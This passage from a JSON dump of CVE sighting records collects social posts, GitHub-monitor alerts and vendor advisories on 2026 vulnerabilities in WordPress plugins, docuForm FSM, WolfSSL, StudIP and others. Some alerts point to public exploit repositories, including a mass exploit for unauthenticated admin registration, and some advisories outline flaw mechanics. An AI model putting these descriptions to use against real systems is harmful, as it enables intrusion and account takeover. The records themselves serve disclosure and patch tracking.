Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 22:53:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5118 \u2013 Python2 mass exploit for Divi WordPress plugin Unauthenticated administrator registration via admin-ajax.php. Multi\u2011threaded scanner with nonce extraction.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T23:00:04.000000Z"}, {"uuid": "f870f6da-3cc5-47f5-a139-04d19f123d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5171", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmhhhzhovv2p", "content": "CVE-2026-5171 - Devolutions Server Unauthenticated Access Control Bypass\nCVE ID : CVE-2026-5171\n \n Published : 22 mai 2026 15:28 | 22\u00a0minutes ago\n \n Description : Improper access control in the entry activity log feature in Devolutions Server allows an authenticated user with ...", "creation_timestamp": "2026-05-22T17:28:38.793231Z"}, {"uuid": "e7cd654d-4025-4f5e-9517-493885903ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://t.me/thehackernews/9069", "content": "\ud83d\udea8 Anthropic\u2019s Claude Mythos Preview found 10,000+ severe software flaws in one month.\n\nhttps://thehackernews.com/2026/05/claude-mythos-ai-finds-10000-high.html\n\nThe AI uncovered high- or critical-severity vulnerabilities across widely used software, including 1,726 confirmed flaws and 1,094 rated high or critical severity.\n\nThe findings have already led to 97 patches and 88 advisories.\n\nOne flaw, CVE-2026-5194 in WolfSSL, could allow certificate forgery.", "creation_timestamp": "2026-05-23T12:26:32.000000Z"}, {"uuid": "fa66ed26-2bc0-4be8-b27a-c5706be72412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/Ijp4jLwZAukIpjn8nmvArm7-nJ19glZ2axxpP-42cGx43y8", "content": "", "creation_timestamp": "2026-05-22T11:00:14.000000Z"}, {"uuid": "a85ec552-87b0-4d15-a136-a285eced7086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/fDw4Vf6kwSJ_QsbQNJIzm_DiAG17CwOFTjdetOv1ULjFhQI", "content": "", "creation_timestamp": "2026-05-22T03:00:12.000000Z"}, {"uuid": "9d1af68b-63af-4f8e-9346-1a4dadbe2088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/EQ-OtrMk-MWFYtaQdS6-MjZwABKlvl-CaVDrJmD_M-e-p2s", "content": "", "creation_timestamp": "2026-05-22T03:00:06.000000Z"}, {"uuid": "5d3b7472-4bd7-4765-b62a-2c12a45d2471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/QQT-Q6OUMbbPAX_T-HqeuIDXp1trXX8UiN3jKLc_4d4AIZQ", "content": "", "creation_timestamp": "2026-05-22T15:00:07.000000Z"}, {"uuid": "6de8d815-8d41-49c3-80da-0ab67b4334e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/6gh1HJgE3RFVn7K8UtbcJPp_JwEYzEQXCykvkUTLZjGZEDc", "content": "", "creation_timestamp": "2026-05-21T21:00:05.000000Z"}, {"uuid": "f8295f95-4dce-47f9-9438-fd2d0c34bfac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/srrws2G_oqnzo18NHrsMZQVnJlAuG4EubtN588eV7RqbvrI", "content": "", "creation_timestamp": "2026-05-21T11:00:14.000000Z"}, {"uuid": "820757e9-15fb-4f00-becc-822508a56739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/gzlin.bsky.social/post/3mmolokiurh24", "content": "5/10 One concrete example: WolfSSL, a crypto library used by billions of devices. Mythos constructed an exploit that forges certificates. An attacker could host a perfectly legitimate-looking fake website for a bank or email provider, and the user would never know. CVE-2026-5194. Now patched.", "creation_timestamp": "2026-05-25T13:32:31.249957Z"}, {"uuid": "75bb9f20-034e-46ed-9dd5-0a88ee2a4b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5172", "type": "seen", "source": "https://t.me/GithubRedTeam/86070", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE20265172poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lottiedeyan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-27 05:56:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5172: buffer overflow in extract_addresses() on crafted resource record PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-27T06:00:04.000000Z"}, {"uuid": "3d043b4c-db71-45a6-8615-94fd7e14db97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51977", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtec2p7ec42p", "content": "CVE-2026-51977\nA security camera with a weakly protected private key allows a nearby attacker to gain unauthorized access. This vulnerability affects the Trueview T18061 WiFi 3MP Robot Pan-Tilt Security Camera version 1.0. To\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-18T13:10:05.274852Z"}, {"uuid": "b4675803-dc19-425c-a39e-53eeee6ca1ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5172", "type": "seen", "source": "Telegram/XPzjER_VXnqDaL0x3el2A57nJCguhK8qowmsl0HK-KFshHo", "content": "", "creation_timestamp": "2026-05-27T21:09:44.000000Z"}, {"uuid": "090bcbbb-205e-4e93-892f-ffff99d42266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5172", "type": "seen", "source": "Telegram/XzC-KGBCdspPXiEjFuhhLQhveWuSfskWTBPYimD-K-OCFrQ", "content": "", "creation_timestamp": "2026-05-27T21:02:29.000000Z"}, {"uuid": "c28fec96-6a29-4c1c-988d-23a23452f310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://gist.github.com/quintessence-lab/2dbc8560806ead7966a26ab67e72af45", "content": "| \u9805\u76ee | \u5024 |\n|---|---|\n| \u5bfe\u8c61 | WolfSSL\uff08IoT\u30fb\u7d44\u8fbc\u307f\u5411\u3051\u8efd\u91cf TLS/SSL \u30e9\u30a4\u30d6\u30e9\u30ea\uff09 |\n| CVE | **CVE-2026-5194** |\n| CVSS | **9.1\uff08Critical\uff09** |\n| \u767a\u898b\u8005 | Mythos Preview\uff08Glasswing \u30d1\u30fc\u30c8\u30ca\u30fc\u7d4c\u7531\uff09 |\n| \u542b\u610f | IoT/\u7d44\u8fbc\u307f\u6a5f\u5668\u306e TLS \u5b9f\u88c5\u304c\u5e83\u7bc4\u306b\u5f71\u97ff |\n", "creation_timestamp": "2026-05-30T06:36:46.000000Z"}, {"uuid": "2622b873-066e-4641-960f-f80658f97de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5191", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mne7qh6bvy24", "content": "CVE-2026-5191: XSS en Tiled Gallery Carousel\n\nCVE-2026-5191 WordPress vulnerabilidad: cualquier contributor puede inyectar XSS en tu galer\u00eda. Verific\u00e1 versi\u00f3n del plugin y aplic\u00e1 el parche.\n\n#cve20265191 #storedxss #tiledgallerycarousel #wordpressplugins #seguridadwordpress", "creation_timestamp": "2026-06-03T03:57:24.917674Z"}, {"uuid": "a66c5185-99ff-4f66-9217-7af40952f616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5119", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mnhizxwv4s2m", "content": "\ud83d\udc27 Falha CVE-2026-5119 no libsoup3: cookies s\u00e3o enviados em texto claro ao usar proxy HTTP. Guia completo com comandos, script e mitiga\u00e7\u00f5es para o #Fedora.                              Saiba mais -> tinyurl.com/2x4tnf8y", "creation_timestamp": "2026-06-04T11:21:51.807532Z"}, {"uuid": "ac3553ea-ffa8-40bb-b4bd-06402c3d9828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5119", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mnhizzlrj22m", "content": "\ud83d\udc27 Falha CVE-2026-5119 no libsoup3: cookies s\u00e3o enviados em texto claro ao usar proxy HTTP. Guia completo com comandos, script e mitiga\u00e7\u00f5es para o #Fedora.                              Saiba mais -> tinyurl.com/2x4tnf8y", "creation_timestamp": "2026-06-04T11:21:52.338894Z"}, {"uuid": "dd8ae8f4-a0b0-4760-b0f5-1dcaefd88a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51584", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msvst2hhrd2q", "content": "CVE-2026-51584\nA security flaw in usememos version 0.27.1 allows attackers to access user accounts remotely. This is a concern for users who rely on usememos for sensitive information. To protect yourself, update to the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-12T19:00:06.371627Z"}, {"uuid": "7f03bd76-66ca-4f60-85ff-ff42b253a9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51846", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116783304621209682", "content": "A severe vulnerability was disclosed for Tenda AC7 (CVE-2026-51846) https://vuldb.com/vuln/372468", "creation_timestamp": "2026-06-20T16:10:14.324404Z"}, {"uuid": "433bc637-0a87-408f-a1ca-fbcd2747f226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motsyufjn52v", "content": "\ud83d\udea8  ALERT: CVE-2026-5118\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nThe Divi Form Builder plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.1.2. This is due to the plugin accepting a user-controlled 'role' parameter from POST data during user registration without validat", "creation_timestamp": "2026-06-22T02:17:15.151413Z"}, {"uuid": "6557ffcd-bd9b-47dd-b02e-40b87cda7a62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5139", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3movanaj4zd2t", "content": "CVE-2026-5139 - GitLab Plugin Allows Non-Admin Users to Modify Default Instance Configuration\nCVE ID : CVE-2026-5139\n \n Published : June 22, 2026, 1:34 p.m. | 2\u00a0hours, 9\u00a0minutes ago\n \n Description : Mattermost versions 11.7.x <= 11.7.0, 11.6.x <= 11.6.2, 11.5.x <= 11....", "creation_timestamp": "2026-06-22T15:54:06.299400Z"}, {"uuid": "55b42bf2-f970-4f53-9887-939e71d24a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51031", "type": "seen", "source": "Telegram/EqoYaV6nsS8NdFMiUlh20F2PL0M0xTB12P2J_sYTarvuZL8", "content": "", "creation_timestamp": "2026-08-17T18:00:06.245213Z"}, {"uuid": "c824c489-6f0c-44ee-8f27-34e1d73afeb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5108", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3msfsot2xue23", "content": "CVE-2026-5108 super-progressive-web-apps (CVSS Score 4.4) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-06T10:15:08.752046Z"}, {"uuid": "444de902-900c-4fd4-a916-59dee142406c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51221", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpho5cc45w23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51221: \u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 EIPStackGroup OpENer\n\n\n\nhttps://kripta.biz/posts/6EC20D65-B15D-4EA5-989B-7E3F1D48B9E5", "creation_timestamp": "2026-06-29T23:43:30.030170Z"}, {"uuid": "0f72d019-af12-41d4-8e4e-08e5534e8ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51219", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphoyriar322", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51219: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 HighPriorityASDUQueue_hasUnconfirmedIMessages\n\n\n\nhttps://kripta.biz/posts/B52753CC-7FC3-43B2-87D8-76EF0D71DF09", "creation_timestamp": "2026-06-29T23:58:52.107955Z"}, {"uuid": "f0aa4005-538c-42f3-bcfa-d785dbd10c6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51218", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphpfrf24s22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51218: \u0430\u043d\u0430\u043b\u0438\u0437 heap buffer overflow \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 TS7Worker::PerformFunctionWrite()\n\n\n\nhttps://kripta.biz/posts/A204F484-8F8C-41A6-9FF2-395EF9592806", "creation_timestamp": "2026-06-30T00:06:08.009511Z"}, {"uuid": "0243217d-2ec1-4eda-ad45-e9f154348f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5158", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/ipkrbhjyaww72", "content": "CVE-2026-5158 - PostX\nCVE ID : CVE-2026-5158\n \n Published : Aug. 6, 2026, 11:29 a.m. | 51\u00a0minutes ago\n \n Description : The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites \u2013 PostX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'inputPlac...", "creation_timestamp": "2026-08-06T12:22:36.371367Z"}, {"uuid": "48c921a6-c17f-4131-8cae-ede6d4782d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5116", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3msga3ycwr326", "content": "CVE-2026-5116 contact-form-7-dynamic-text-extension (CVSS Score 4.4) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-06T14:15:09.473816Z"}, {"uuid": "ba325978-854a-4e29-a7c2-1505064e6221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5134", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msgbm4uoar2l", "content": "CVE-2026-5134 - cms\nLoca Software's CMS is vulnerable to SQL injection attacks, which can allow hackers to manipulate database data. This means that sensitive information could be stolen or modified. If\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cms #locainformatics #CVE #infosec", "creation_timestamp": "2026-08-06T14:42:04.358943Z"}, {"uuid": "8c549731-dac5-464b-aba7-45ad62c9bd35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51926", "type": "seen", "source": "https://gist.github.com/ZeroBreach-GmbH/50b019f73861d09a85ddaa8f0f239511", "content": "##### Description\n\nA vulnerability was identified in the authentication mechanism that allows user enumeration through the login interface. An attacker can differentiate between valid and invalid usernames based on variations in server responses. This information can be leveraged to identify existing accounts and facilitate further attacks, including brute-force or credential stuffing.\n\n##### Details\n\n*   **Product:** docuForm FSM Server\n*   **Affected Versions:** 11.11c\n*   **Vulnerability Type:** CWE-204: Observable Response Discrepancy\n*   **Risk Level:** Medium - CVSS 3.1: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n*   **Vendor URL:** www.docuform.de\n*   **CVE:** CVE-2026-51926\n\n##### Impact\n\nAn attacker can exploit this vulnerability to enumerate valid usernames through the login interface by observing differences in error messages for valid versus invalid usernames. This information disclosure can be used to compile a list of active accounts, which may facilitate targeted brute\u2011force, credential\u2011stuffing or social\u2011engineering attacks against identified users.\n\n##### References\n\n*   [National Vulnerability Database CVE-2026-51926](https://nvd.nist.gov/vuln/detail/CVE-2026-51926)\n*   [ZeroBreach GmbH - CVE-2026-51926](https://zerobreach.de/blog/security-advisories/CVE-2026-51926.html)\n\n##### Timeline\n\n*   **2025-10:** Vulnerability reported to the vendor.\n*   **2025-11:** Vendor published a fix for the issue.\n*   **2026-06:** Information about the vulnerability is published.\n\n##### Credits\n\n*   Bastian Recktenwald ([Bastian.Recktenwald@ZeroBreach.de](mailto:Bastian.Recktenwald@ZeroBreach.de))", "creation_timestamp": "2026-07-01T08:31:20.588803Z"}, {"uuid": "70c8b415-5647-492c-903e-a465a6a4f0a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51925", "type": "seen", "source": "https://gist.github.com/ZeroBreach-GmbH/09e05b53c3a5e34e9a060860fb2412ba", "content": "##### Description\n\nA Local File Inclusion (LFI) vulnerability exists in the affected web application due to insufficient sanitization of user-supplied input in a file path parameter. Attackers can exploit this flaw to read arbitrary files on the server, including sensitive configuration files, source code or system files.\n\n##### Details\n\n*   **Product:** docuForm FSM Server\n*   **Affected Versions:** 11.11c\n*   **Vulnerability Type:** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')\n*   **Risk Level:** Medium - CVSS 3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n*   **Vendor URL:** www.docuform.de\n*   **Vendor acknowledged vulnerability:** Yes\n*   **CVE:** CVE-2026-51925\n\n##### Impact\n\nSuccessful exploitation of this Local File Inclusion vulnerability allows remote attackers to read arbitrary files on the affected server, potentially exposing sensitive information such as configuration files, user credentials or system data like /etc/passwd.\n\n##### References\n\n*   [National Vulnerability Database CVE-2026-51925](https://nvd.nist.gov/vuln/detail/CVE-2026-51925)\n*   [ZeroBreach GmbH - CVE-2026-51925](https://zerobreach.de/blog/security-advisories/CVE-2026-51925.html)\n\n##### Timeline\n\n*   **2025-10:** Vulnerability reported to the vendor.\n*   **2025-11:** Vendor published a fix for the issue.\n*   **2026-06:** Information about the vulnerability is published.\n\n##### Credits\n\n*   Bastian Recktenwald ([Bastian.Recktenwald@ZeroBreach.de](mailto:Bastian.Recktenwald@ZeroBreach.de))", "creation_timestamp": "2026-07-01T08:34:03.308463Z"}, {"uuid": "4a75b8f9-fe42-48aa-8d29-18537746987e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51924", "type": "seen", "source": "https://gist.github.com/ZeroBreach-GmbH/530286989ec11137978035020d84bdc4", "content": "##### Description\n\nMissing Input validation in combination with other vulnerabilities allows an attacker to achieve Remote Code Execution (RCE). The application fails to properly sanitize user-supplied input during multiple access points which allows an attacker to conduct arbitrary code execution on the system.\n\n##### Details\n\n*   **Product:** docuForm FSM Client\n*   **Affected Versions:** 11.11c\n*   **Vulnerability Type:** CWE-20: Improper Input Validation\n*   **Risk Level:** High - CVSS 3.1: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n*   **Vendor URL:** www.docuform.de\n*   **Vendor acknowledged vulnerability:** Yes\n*   **Vendor Status:** Fixed\n*   **CVE:** CVE-2026-51924\n\n##### Impact\n\nSuccessful exploitation of this vulnerability allows an authenticated remote attacker to execute arbitrary code on the target system. This could lead to a complete compromise of the application, including unauthorized access to sensitive data and modification of system configurations.\n\n##### References\n\n*   [National Vulnerability Database CVE-2026-51924](https://nvd.nist.gov/vuln/detail/CVE-2026-51924)\n*   [ZeroBreach GmbH - CVE-2026-51924](https://zerobreach.de/blog/security-advisories/CVE-2026-51924.html)\n\n##### Timeline\n\n*   **2025-10:** Vulnerability reported to the vendor.\n*   **2025-11:** Vendor published a fix for the issue.\n*   **2026-06:** Information about the vulnerability is published.\n\n##### Credits\n\n*   Bastian Recktenwald ([Bastian.Recktenwald@ZeroBreach.de](mailto:Bastian.Recktenwald@ZeroBreach.de))", "creation_timestamp": "2026-07-01T08:42:09.274492Z"}, {"uuid": "55e880ed-ff88-4984-99a9-4669108f2566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51923", "type": "seen", "source": "https://gist.github.com/ZeroBreach-GmbH/f582fe0ded3bcccead7a7e90fca8c107", "content": "##### Description\n\nAn Insecure Direct Object Reference (IDOR) vulnerability exists in the application\u2019s user management functionality that allows an authenticated attacker to modify or retrieve sensitive data associated with other users\u2019 accounts.\n\n##### Details\n\n*   **Product:** docuForm FSM Server\n*   **Affected Versions:** 11.11c\n*   **Vulnerability Type:** CWE-639: Authorization Bypass Through User-Controlled Key\n*   **Risk Level:** High - CVSS 3.1: 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)\n*   **Vendor URL:** www.docuform.de\n*   **Vendor acknowledged vulnerability:** Yes\n*   **CVE:** CVE-2026-51923\n\n##### Impact\n\nAn authenticated attacker who exploits this IDOR\u2011based vulnerability can gain full control over other users\u2019 accounts, resulting in account takeover.\n\n##### References\n\n*   [National Vulnerability Database CVE-2026-51923](https://nvd.nist.gov/vuln/detail/CVE-2026-51923)\n*   [ZeroBreach GmbH - CVE-2026-51923](https://zerobreach.de/blog/security-advisories/CVE-2026-51923.html)\n\n##### Timeline\n\n*   **2025-10:** Vulnerability reported to the vendor.\n*   **2025-11:** Vendor published a fix for the issue.\n*   **2026-06:** Information about the vulnerability is published.\n\n##### Credits\n\n*   Bastian Recktenwald ([Bastian.Recktenwald@ZeroBreach.de](mailto:Bastian.Recktenwald@ZeroBreach.de))", "creation_timestamp": "2026-07-01T08:44:39.256275Z"}, {"uuid": "8412b0b0-4a09-4513-81a3-7c8a94960902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51346", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtcpms7n4s23", "content": "\ud83d\udea8 CVE-2026-51346 \u2014 CVSS 9.1 CRITICAL\n\nSQL Injection vulnerability in StudIP 6.0.x before 6.0.3 and 5.4.x before 5.4.12 allows a remote attacker t...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51346\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-17T22:07:31.584664Z"}, {"uuid": "c80c313f-b4df-4255-b1f6-b75adca0c490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5120", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplmcjxqz725", "content": "CVE-2026-5120 - Race Condition vulnerability affecting BIOVIA Workbook from Release 2021 through Release 2026\nCVE ID : CVE-2026-5120\n \n Published : July 1, 2026, 12:16 p.m. | 56\u00a0minutes ago\n \n Description : A Race Condition vulnerability affecting BIOVIA Workbook from Release ...", "creation_timestamp": "2026-07-01T13:21:17.325626Z"}, {"uuid": "7808391d-f288-4f66-9378-a57065b78261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5120", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mplopss7si2t", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-5120](https://www.3ds.com/trust-center/security/security-advisories/cve-2026-5120)\nA Ra...\nhttps://www.3ds.com/trust-center/security/security-advisories/cve-2026-5120 #CVE #ZeroDay #PatchManagement", "creation_timestamp": "2026-07-01T14:04:30.617730Z"}, {"uuid": "269621c4-4c61-48d9-b301-82962a717088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5120", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplt72ovoo24", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u0420\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-5120 \u0432 BIOVIA Workbook\n\n\n\nhttps://kripta.biz/posts/952E3F96-A3F1-40F8-93FF-7BDA5869F297", "creation_timestamp": "2026-07-01T15:24:37.095392Z"}, {"uuid": "c060fd03-b1ff-407e-a243-ee915483653c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51346", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtcqd7q4kw25", "content": "CVE-2026-51346\nStudIP, a learning platform, is vulnerable to a SQL injection attack. This means a malicious user could access sensitive information and potentially take control of the system. To protect your data, update to\u2026\n\nToo 